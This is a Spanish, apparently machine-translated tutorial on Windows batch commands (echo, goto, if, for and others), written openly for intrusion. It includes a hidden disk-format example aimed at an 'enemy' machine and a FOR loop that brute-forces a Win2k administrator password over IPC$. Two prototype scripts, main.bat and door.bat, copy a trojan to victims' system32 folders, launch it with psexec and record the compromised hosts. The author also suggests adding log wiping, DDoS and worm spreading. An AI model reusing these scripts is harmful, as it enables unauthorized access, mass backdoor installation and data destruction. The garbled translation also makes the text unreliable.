¿Qué es un comando por lotes?
Activa o desactiva el eco, o muestra información. Sin argumentos, el comando echo muestra la configuración de eco actual.
Sintaxis
echo[{ on | off }][Mensaje]
Ejemplo de eco off/echo hello world
En aplicación práctica , usaremos este comando y el símbolo de redirección (también llamado símbolo de canalización, generalmente >;>>) para ingresar algunos comandos en un archivo en un formato específico, lo que se reflejará en ejemplos futuros.
2.@command
Esto significa que el comando después de @ no se mostrará. Durante el proceso de intrusión (como formatear el disco duro del enemigo mediante procesamiento por lotes), naturalmente no puedes permitir que la otra parte vea los comandos que utilizas.
Ejemplo: @echo off
@echo está inicializando el programa, espere...
@ formatexx:/q/u/autoset (El formato es not Está permitido utilizar el parámetro /y. Afortunadamente, Microsoft nos ha dejado un parámetro autoset, que tiene el mismo efecto que /y..)
3. Especifica el salto a la etiqueta. Una vez que se encuentra la etiqueta, el programa comenzará a procesar comandos desde la siguiente línea.
Sintaxis: ir a etiqueta (la etiqueta es un parámetro que especifica la línea a la que ir en el programa por lotes).
Ejemplo:
if {%1} =={}Ir a noparms
If {%2} = {} gotonoparms (Si no entiendes If, %1, %2 aquí, omítelo primero, habrá una explicación detallada más adelante .)
@Rem comprueba los parámetros y muestra el uso si está vacío
:noparms
uso de eco: monitor.bat Número de puerto IP del servidor
Ir al final
El nombre de la etiqueta se puede elegir arbitrariamente, pero es mejor que tenga letras significativas. Agregar un : antes de una letra indica que la letra es una etiqueta. El comando ir a se basa en esto: busque el siguiente paso y salte allí. Será mejor que tengas alguna explicación para que otros entiendan tu intención.
4.Comando Rem
El comando de comentario es equivalente a /*-*/ en lenguaje C. No se ejecutará, solo sirve como comentario para facilitar que otros lo lean y modifiquen en el futuro.
Mensaje remoto
Muestra: @RemAquí está la descripción.
5. Comando de pausa
Al ejecutar el comando de pausa, se mostrará el siguiente mensaje:
Presione cualquier tecla para continuar. . .
Muestra:
@turn off echo
:start
Copiar a:*. * d:\return
echo, coloque el nuevo disco en el controlador A
abortar
ir a inicio
En este caso, Todos los archivos del disco en la unidad A se copian en d:\back. Aparece un mensaje que le solicita que coloque otro disco en la unidad A. El comando de pausa pausará el programa para que pueda reemplazar el disco y presionar cualquier tecla para continuar con el procesamiento.
6. Llamar comando
Llame a un programa por lotes desde otro programa por lotes sin finalizar el programa por lotes principal. El comando de llamada acepta una etiqueta para usar como destino de la llamada. Si utiliza Llamar fuera de un script o archivo por lotes, no funcionará en la línea de comando.
Sintaxis
Llamar a [[unidad:] [ruta]nombre de archivo[parámetros de lote]] [:etiqueta[parámetros]]
Parámetros
[unidad:}[ruta]nombre de archivo
Especifica la ubicación y el nombre del programa por lotes que se llamará. El parámetro de nombre de archivo debe tener un .bat o .bat. extensión cmd.
7. Comando de inicio
Llamar a programas externos Todos los comandos de DOS y programas de línea de comandos se pueden llamar a través del comando de inicio.
Parámetros de intrusión comunes:
Minimizar la ventana comenzando con MIN
Iniciar un programa de Windows de 16 bits en un espacio separado.
Alto inicia aplicaciones en categorías de alta prioridad.
Inicie aplicaciones en la categoría de prioridad en tiempo real en tiempo real.
WAIT inicia la aplicación y espera a que finalice.
Parámetros Estos son los parámetros pasados al comando/programa.
Cuando la aplicación en ejecución es una aplicación GUI de 32 bits, CMD.EXE volverá al símbolo del sistema sin esperar a que finalice la aplicación. Este nuevo comportamiento no ocurrirá si se ejecuta dentro de un script de comando.
8. Seleccione Comando
Seleccione Usar este comando para permitir al usuario ingresar un carácter para ejecutar diferentes comandos. Al usarlo, agregue el parámetro /c: y escriba caracteres que se puedan ingresar después de c:, sin espacios en el medio.
Su código de retorno es 1234...
Por ejemplo: elección /c:dme defrag,mem,end
se mostrará
defrag,mem,end [D,M,E]?
Muestra:
El contenido de Sample.bat es el siguiente:
@apagar eco
elección /c:dme defragmentación , mem, end
Si el nivel de error es 3, vaya a la desfragmentación (el código de error con el valor más alto debe juzgarse primero)
Si el nivel de error es 2, vaya a la memoria
Si el error es Nivel 1, vaya al final
: Desfragmentación
c:\dos\defrag
Ir al final
:Memoria
Memoria
Ir al final
:End
Echo Adiós
Después de ejecutar este archivo, se mostrará defrag, mem,end[D,M,E]? El usuario puede seleccionar d m e, y luego la declaración if emitirá un juicio. d significa ejecutar la sección del programa marcada como defrag, M significa ejecutar la sección del programa marcada como mem y E significa ejecutar la sección del programa marcada como final. Cada segmento del programa saltará a la etiqueta final con goto end al final, y luego el programa mostrará adiós y el archivo finalizará.
9.Comando If
Si significa que determinará si se cumplen las condiciones especificadas y luego decidirá ejecutar diferentes comandos. Hay tres formatos:
1. Si se ejecuta el comando "parámetro" == "cadena"
Si el parámetro es igual a la cadena especificada, la condición es verdadera. Ejecute el comando; de lo contrario, ejecute la siguiente oración. (Tenga en cuenta los dos signos iguales)
Por ejemplo, si "% 1" == "a" formatee a:
if {%1}=={}vaya a noparms
if {%2}=={}Ir a noparms
2. Si el nombre del archivo existe, es el comando a ejecutar.
Si hay un archivo específico y la condición es verdadera, ejecute el comando; de lo contrario, ejecute la siguiente oración.
Por ejemplo, si existe config . sys edite config .
3. Comando numérico a ejecutar si nivel de error/si no nivel de error.
Si el código de retorno es igual al número especificado, la condición es verdadera y se ejecuta el comando; de lo contrario, se ejecuta la siguiente oración.
Por ejemplo si el nivel de error 2 pasa a x2.
Cuando se ejecuta un programa de DOS, devolverá un número a DOS. Este número se denomina nivel de error o código de retorno. Los códigos de retorno comunes son 0,1.
10. Comando For
El comando for es un comando complejo, utilizado principalmente para ejecutar comandos cíclicamente dentro de un rango específico.
Cuando utilice el comando FOR en un archivo por lotes, utilice %%variable para especificar la variable.
for { % variable | % % variable } in(set)do comando [CommandLineOptions]
%variable especifica un parámetro reemplazable de una sola letra.
(set)Especifica un archivo o un grupo de archivos. Se pueden utilizar caracteres comodín.
Comando especifica el comando que se ejecutará para cada archivo.
Command-parameters especifica parámetros o modificadores de línea de comando para comandos específicos.
Cuando utilice el comando FOR en un archivo por lotes, utilice %%variable para especificar la variable.
En lugar de % variable. Los nombres de las variables distinguen entre mayúsculas y minúsculas, por lo que %i es diferente de %i.
Si las extensiones de comando están habilitadas, los siguientes formatos de comando FOR adicionales se verán afectados
Compatible:
FOR/D % variable IN (establecer) comando DO [ Parámetros de comando]
Si la colección contiene comodines, especifica que coincide con nombres de directorios en lugar de archivos.
Coincidencias de nombres.
FOR/R[[unidad:]ruta]% variable IN(set)DO comando[comando-
Compruebe el árbol de directorios con raíz en [unidad:]ruta y apunte hacia adentro cada directorio.
Para declaraciones, si no se especifica ningún directorio después de /R, se utiliza el directorio actual.
Directorio. Si el conjunto es solo un carácter de punto (.), se enumera el árbol de directorios.
FOR/L % variable IN (inicio, paso, fin) DO comando [command-para
Este conjunto representa una serie de números que aumentan de principio a fin.
Por lo tanto, (1, 1, 5) producirá la secuencia 1 2 3 4 5, y (5, 1, 1) producirá.
El orden (5 4 3 2 1).
(conjunto de archivos) FOR/F[" opciones "]% variable en comando DO
FOR/F[" opciones "]% variable IN ("cadena") comando DO
FOR/F[" opciones "]% variable en (comando) comando DO
O, si tiene la opción usebackq:
(file-set) FOR/F[" opciones "]% variable en comando DO
FOR/F[" opciones "]% variable IN ("cadena") comando DO
FOR/ F[" opciones "]% variable en (comando) comando DO
Filenameset es uno o más nombres de archivo. Continúe dentro del conjunto de nombres de archivo.
Cada archivo ha sido abierto, leído y procesado antes que el siguiente.
El procesamiento consiste en leer un archivo, dividirlo en líneas de texto y luego dividir cada línea en
análisis de cero o más símbolos. Luego llame al bucle For usando el valor de la variable de la cadena de símbolos encontrada
. De forma predeterminada, /F está separado por cada línea de cada archivo. El primer carácter de espacio en blanco de
. Salta líneas vacías. Puede anular la operación de análisis predeterminada especificando el parámetro opcional "opciones". Esta cadena entre comillas contiene una o más
palabras clave que especifican diferentes opciones de análisis. Estas palabras clave son:
eol = c - indica el carácter de comentario de final de línea (solo uno)
skip = n - indica el número de líneas a ignorar al comienzo de la archivo.
delims = XXX: representa el conjunto de delimitadores. Esto reemplaza espacios y tabulaciones.
Delimitador predeterminado establecido.
Tokens=x,y,m-n: se refiere a qué token de cada fila se pasa a cada iteración.
Para ti. Esto dará como resultado nombres de variables adicionales.
El formato es un rango. Especifique m con el símbolo enésimo.
El último carácter de la cadena es un asterisco.
Entonces las variables adicionales se resolverán en el último símbolo.
Asigna y acepta texto reservado para esta línea.
usebackq: especifica que la nueva sintaxis se ha utilizado en los siguientes casos:
Después de ejecutar una cadena entre comillas como comando
El carácter de comillas es un literal comando de cadena, está permitido en fi
Encierre el nombre del archivo entre comillas dobles.
Muestra 1:
FOR/F "eol=; tokens=2, 3* delims=," %i en (myfile.txt) do comando
Cada línea en myfile.txt será analizada, ignorando aquellas que comiencen con punto y coma, y
El segundo y tercer símbolo de cada línea se pasarán al cuerpo del programa para usar comas y/o ; p>
delimitadores de espacio. Tenga en cuenta que las declaraciones en el cuerpo del programa se refieren a %i.
Para obtener el segundo símbolo, haga referencia a %j. Para obtener el tercer símbolo, haga referencia a %k.
Obtén todos los símbolos restantes después del tercer símbolo. Para nombres de archivos con espacios
debe encerrar el nombre del archivo entre comillas dobles. Para hacer
comillas dobles de esta manera, también necesita usar la opción usebackq; de lo contrario, las comillas dobles
se entenderán que se usan para definir la cadena a ser analizado.
%i se declara específicamente en la declaración for, y %j y %k están representados por.
La opción Tokens= se especifica específicamente. Puedes pasar token = una línea.
Especifique hasta 26 símbolos, siempre y cuando no intente describir símbolos superiores a la letra z o variables superiores
Z, recuerde que las variables FOR son de una sola letra, mayúsculas y minúsculas. -sensible y global;
Al mismo tiempo, no se pueden utilizar más de 52.
También puede utilizar la lógica de análisis FOR /F en cadenas adyacentes.
Encierre el conjunto de nombres de archivos entre paréntesis entre comillas simples. De esta manera, la cadena de caracteres
se trata como una única línea de entrada en el archivo.
Finalmente, puedes usar el comando FOR /F para analizar el resultado de este comando. El método consiste en integrar los nombres de los archivos entre corchetes
en una cadena cerrada. Esta línea será
como la línea de comando, que se pasa al CMD.EXE secundario y se capturará su salida.
En memoria y analizado como un archivo. Por lo tanto, aquí hay un ejemplo:
FOR/F " usebackq delims == " % I IN(` set `)DO @ echo % I
Enumerar los entornos en el entorno actual El nombre de la variable.
Además, se ha mejorado la sustitución de referencias de variables.
Ahora puede utilizar la siguiente
sintaxis de opción:
~ I - eliminar las comillas (") y expandir %i.
% ~ fI - cambiar % I se expande a un nombre de ruta completo
%~dI-solo %I se expande a una letra de unidad
%~pI-solo %I se expande a una ruta.
%~nI-solo %I se expandirá a un nombre de archivo
% ~solo %I se expandirá a una extensión de archivo
% ~ sI-. Las rutas expandidas contienen solo nombres cortos
% ~ aI - Expande %I al atributo de archivo del archivo
% ~ tI - Expande %I a la fecha/hora del archivo
p>% ~ zI - Expande %I al tamaño del archivo
% ~ $PATH:I - Localiza el directorio que aparece en la variable de entorno PATH y expande %i
. Al primer nombre completo encontrado, esta combinación de teclas se expandirá si la variable de entorno
no está definida o no se encuentra el archivo.
Líneas vacías
Los modificadores se pueden combinar para lograr una variedad de resultados:
%~dpI-solo %I se expande a una letra de unidad y ruta
%~nxI-solo %I se expande a un archivo. nombre y extensión
% ~ fsI - solo expande %I a la ruta completa con el nombre corto
% ~ DP$PATH:I - encontrado en la RUTA. variable de entorno. Directorios enumerados y expanda %i.
Vaya a la primera letra de unidad y ruta encontrada
% ~ ftzaI - Expanda %I a algo como DIR< en la línea de salida. /p>
En el ejemplo anterior, %I y PATH se pueden reemplazar con otros valores válidos %~Syntax
Elija un nombre de variable en mayúscula similar a %i. p>Es más fácil de leer y evita la confusión con combinaciones de teclas que no distinguen entre mayúsculas y minúsculas.
Lo anterior es la ayuda oficial de MS. Aquí hay algunos ejemplos para ilustrar el uso del comando For utilizado en intrusión.
Muestra 2:
El comando For se usa para descifrar la contraseña de fuerza bruta del host Win2k de destino.
Usamos net use \\IP\IPC. $ " contraseña "/u: "administrador" Intente conectarse al host de destino y escriba la contraseña después del éxito
El comando más importante es: for/f I % in(dict . txt)do. net use \ \. IP \ IPC $ " I % "/u: "administrador".
I% se utiliza para representar la contraseña de administrador. En dict.txt, el valor de i% está conectado al comando net use. Luego pase los resultados de ejecución del programa al comando de búsqueda -
for/f I % % in(dict . txt)do net use \ \ IP \ IPC $ " I % % "/u:" administrador " | buscar ":Comando completado exitosamente" > & gtD:\ok.txt, que es ko.
Muestra 3:
¿Hay una gran cantidad de pollos de engorde esperando que críes caballos de Troya y puerta trasera? Cuando el número es particularmente grande, todo lo que originalmente era feliz se vuelve muy deprimente. Como se mencionó al principio del artículo, el uso de archivos por lotes puede simplificar las tareas rutinarias o repetitivas. Entonces, ¿cómo lograrlo? Jaja, lo entenderás después de leerlo.
Solo hay un comando principal: (Cuando use el comando FOR en un archivo por lotes, use %%variable para especificar variables).
@for /f "tokens=1, 2, 3 delims = " % % I in(victim . txt)empiezo a llamar a la puerta % % I % % j % % k
Para el uso del token, consulte el ejemplo 1 anterior. Esto se refiere a pasar el contenido de victim.txt a los parámetros %i %j %k en door.bat en orden.
Cultivate.bat no es más que usar el comando net use para establecer una conexión IPC$, copiar el troyano + puerta trasera a la víctima y luego usar devolver copia (si errorlever =) para filtrar los hosts que ha implantado con éxito la puerta trasera y regresa Mostrado o repetido al archivo especificado.
Delims= significa que el contenido de vivtim.txt está separado por espacios. Creo que debes entender cómo se ve el contenido de este victim.txt cuando veas esto. Debe organizarse según los objetos representados por %%i %%j %%k, normalmente ip contraseña nombre de usuario.
Prototipo de código:
-Cortar aquí y guardar como un archivo por lotes (yo lo llamo main.bat) -
@apagar echo
@if "%1"== " "Ir a uso
@for /f "tokens=1, 2, 3 delims = " % % I in(victim . txt) inicio la llamada Hack de IPC. bat % % I % % j % % k
@Ir al final
: Uso
@echo se ejecuta en modo DOS El lote. O haga doble clic en él.
:Fin
-Cortar aquí, luego guardar como un archivo por lotes (lo llamé main.bat) -
-Cortar aquí y luego guardarlo como un archivo por lotes (yo lo llamo door.bat)
@net use \\%1\ipc$ %3 /u:"%2 "
@ si el nivel de error 1 va a falló
@echo está intentando establecer una conexión IPC... OK
@ copia wind RV 32.exe \\%1\admin$\system32& 1 eco IP %1 usuario % 2 PWD % 3 > & gtko.txt
@ p * * * EC \ \ % 1 c:\win nt\system32\ win drv exe
@ p * * * EC \ \ % 1 net start windrv 32 & si no, nivel de error 1 echo %1 puerta trasera>& gtko.txt
:Error
@echoLo siento, no se puede conectar con la víctima.
-Corte aquí y guárdelo como un archivo por lotes (yo lo llamo door.bat)
Esto es solo un prototipo de un lote de puerta trasera automatizado. Dos programas por lotes y de puerta trasera (Windrv32.exe), psexec. Exe debe colocarse en un directorio unificado. Contenido masivo.
Se puede ampliar, como agregar la función de borrar registros + DDOS, agregar la función de agregar usuarios periódicamente y, si se profundiza, puede tener la función de propagación automática (gusanos).